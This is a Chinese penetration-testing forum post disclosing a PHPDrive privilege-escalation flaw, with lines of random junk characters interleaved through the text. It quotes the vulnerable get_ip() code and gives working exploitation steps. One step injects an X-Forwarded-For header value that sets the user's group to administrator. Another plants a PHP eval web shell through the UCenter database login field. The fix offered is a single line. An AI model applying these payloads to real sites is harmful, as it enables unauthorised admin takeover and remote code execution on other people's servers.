中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
4 V2 t2 W" i/ U' R9 S; S
1 J9 P6 A, G! Z6 y2 S; D
includes/user.lib.php
$ Y! b- C/ I8 N% G$ @- |
行87
" \3 C! \% h; ~1 w$ N
function get_ip() {
! ?7 U' A" H$ P
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
8 I1 C, e& X8 Q0 |
在用户注册与登录 处module/disk/account.lead.php
+ t: @" H" [1 S: p! q& ~3 E
198行
" z2 O# j7 J" V% G/ v; l
//更新本次登录IP和时间
8 f0 g- n+ D$ r$ x1 s8 O3 I( X
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
; U8 L6 A b( r& V# Q: l
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
/ s$ p$ @: N( M; ~# p3 I
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
+ Q( v( d; n6 L# w
后台getshell:
! O/ T; G$ a' h% l- p. [8 \
在UCenter设置处,将UC数据库登录名填写为
" l' [7 s! J4 L4 ~: A% a7 a
& c+ k1 T. F1 a9 J n. u
root’);eval($_POST[DisKill]);?>/*
# i* j0 A5 d. W8 v! w( g6 y+ D
可以得到一个shell,位置在 data/uc.data.php
: E# Y. U8 {: t: {# Q8 N
; v; _# s8 G$ J {5 T' h+ n
修复:过滤注入
' O; e4 f( x2 O
; N* D4 G6 m7 M7 t9 `4 q% U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2